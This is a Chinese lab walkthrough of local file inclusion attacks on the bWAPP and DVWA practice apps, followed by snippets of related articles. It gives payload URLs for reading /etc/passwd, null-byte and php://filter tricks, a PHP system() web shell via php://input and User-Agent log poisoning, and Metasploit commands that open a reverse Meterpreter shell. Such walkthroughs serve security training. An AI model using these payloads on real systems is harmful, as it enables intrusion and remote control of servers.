本地文件包含漏洞(LFI漏洞)

0x00 前言

本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法。 我们都知道LFI漏洞允许用户通过在URL中包括一个文件。在本文中,我使用了bWAPP和DVWA两个不同的平台,其中包含文件包含漏洞的演示。通过它我以四种不同的方式执行LFI攻击

0x01 基本本地文件包含

在浏览器中输入目标IP,并在BWAPP内登录(bee:bug),现在选择bug:remote & local file Inclusion,然后点击hack。

打开具有RFI和LFI漏洞的网页。在下拉列表中选择语言释,单击go按钮时,所选的语言文件将包含在URL中。 执行基本攻击操作。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,下面的截图中在浏览器URL中访问密码文件。

0x02 Null byte

在一些情况下,由于高安全级别,上面提到的基本本地文件包含攻击可能不工作。从下面的截图可以观察到,当在URL中执行相同的路径时,却无法读取密码文件。  所以当面对这样的问题,可以进行NULL byte攻击。

打开burp suite捕获浏览器请求,然后选择代理选项卡并开始截取。 不要忘记在使用burp suite时设置浏览器代理。

将拦截的数据发送到repeater

在repeater中做发送的请求和响应生成的分析。从截图可以清楚的看出/ etc / passwd不能读取。

在下面的截图中,通过在etc/passwd目录的末尾添加空字符(%00)来转发请求,然后单击go选项卡。然后在窗口的右视图上,密码文件作为响应打开。

0x03 Base64 encoded

当安全级别高并且无法查看PHP文件内容时,使用以下PHP函数:

http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd

从以下截图可以看到passwd文件内容编码为base64,复制整个编码文本。

使用hackbar解码复制的编码文本。

将复制的编码文本粘贴到弹出的对话框内。

密码文件的内容:

0x04 PHP Input

使用PHP Input函数,通过执行注入PHP代码来利用LFI漏洞。首先,加载目标网页URL:

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

使用PHP input函数:

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

然后选中enable Post data复选框,转发提交的数据,并在给定文本区域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。如下图所示,最后点击execute。

通过反向连接连接目标机器; 在kali Linux中打开终端输入msfconsole启动metasploit。

use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set target 1

msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)> set lhost 192.168.0.104 

msf exploit (web_delivery)>set srvport  8081

msf exploit (web_delivery)>exploit

复制下图中的高亮文本:

将上面复制的PHP代码粘贴到URL中,如下图所示,并执行它。

当上面的URL被执行时,将metasploit中获得目标的meterpreter会话。

msf exploit (web_delivery)>session –I 1

meterpreter> sysinfo

0x05 Proc/self/environ

如果服务超时,通过LFI利用它。可以包括存储User_Agent的proc/self/environ文件,在文件中插入用于执行CMD命令的PHP代码

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

启动burp suite拦截浏览器请求,并将获取数据发送到repeater。

将CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求。响应如下图右侧所示。

时间: 2024-10-04 23:43:53

本地文件包含漏洞(LFI漏洞)的相关文章

【转载】PHP本地文件包含和远程文件包含漏洞

远程文件包含(Remote File Inclusion),简称RFI,与其对应的是本地文件包含(Local File Inclusion,LFI),它们都是通过PHP的包含函数即:require(),require_once(),include()和include_once()来使用. 一般情况下,用户通过包含函数将具有特定功能的函数或类包含到当前脚本中,是没有什么问题的.但是有时候,为了方便,需要动态的包含文件,这就会留下一些攻击漏洞. 通常情况下,LFI攻击威胁不大,因为本地服务器上的文件

phpMyAdmin 4.8.x 本地文件包含漏洞利用

今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用. 在这篇文章中我们将使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用. VulnSpy 在线 phpMyAdmin 环境地址:http://www.vulnspy.com/phpmyadmin-4.8.1/ 漏洞细节 参照ChaMd5安全团队发布的文章:phpmya

通达OA 任意文件上传+文件包含导致RCE漏洞复现

0X00漏洞简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批.行政办公.日常事务.数据统计分析.即时通讯.移动办公等. 该漏洞被黑产利用,用于投放勒索病毒 该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限. 0X01漏洞影响 V11版.2017版.2016版.2015版.2013增强版.2013版 0X02漏洞原理

渗透测试技术之本地文件包含

概述 通过加强对本地文件包含(LFI)渗透测试技术的研究,可以帮助渗透测试人员和学生在未来的渗透测试过程中,识别和测试LFI漏洞.在Web程序渗透测试中,利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞.此外,在本文中提到有一些技术,在CTF大赛中也经常被利用. 什么是本地文件包含(LFI)漏洞? LFI允许攻击者通过浏览器包含一个服务器上的文件.当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据.注入路径遍历字符.包含web服务器的其他

浅谈本地文件包含利用

今天在公众号看到了一个本地文件包含的利用工具,看了下国外大牛对该工具的使用的一个视频,感觉很厉害,通过该工具可对存在本地文件包含漏洞的站点进行利用并返回一个LFI shell,通过返回的LFI shell再次获取一个反向连接,从而可执行相关命令,以前对本地文件包含的利用大多都停留在读取文件,如果有远程文件包含的话就可以getshell.这篇文章主要是对本地文件包含的一个简单介绍及利用,主要是对工具的使用,也主要是记录下该过程,方便以后查看,然后再抽时间研究下大神源代码!大神请绕道而行!: ) 0

本地文件包含被污染的SSH日志GetShell

0x01 前言 我们在渗透测试过程中常常会通过文件包含来getshell,一般会包含恶意代码的图片.污染UA或referer等HTTP头从而包含访问日志等等.这里介绍另外一种包含的方法,通过污染SSH日志的方式. 0x02 SSH日志污染 使用测试环境为ubuntu(10.168.33.174),ssh日志默认是在/var/log/auth.log下,默认其它用户是有read的权限的.然后我们直接执行ssh '<?php system($_GET[c]);?>'@10.168.33.174可以

LFI (local file inclusion vulnerability)本地文件包含

代码实例: <?php $file = $_GET['file']; if(isset($file)) { include("pages/$file"); } else { include("index.php"); } ?> 利用方式: /script.php?page=../../../../../etc/passwd php?page=expect://id ?page=/etc/passwd%00 ?page=/etc/passwd%2500 w

PHP文件包含漏洞利用

PHP文件包含漏洞利用 一.PHP配置在文件包含中的运用 文件包含漏洞即 当程序员在包含文件的过程中引入了外部提交的数据参与包含的过程所产生的漏洞,这个漏洞是目前Web攻击中最利用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿到webshell).而文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分.allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LF

文件包含漏洞

本实验是基于DVWA和sqli-labs的实验环境 实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下.安装只要注意Wamp环境的数据库名和密码对应即可. 0x01:文件包含漏洞 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 这也算官方的解释吧,用个人的话说,通过浏览器.url地址或者是一个参数的变量的内容,可以通过修改这些url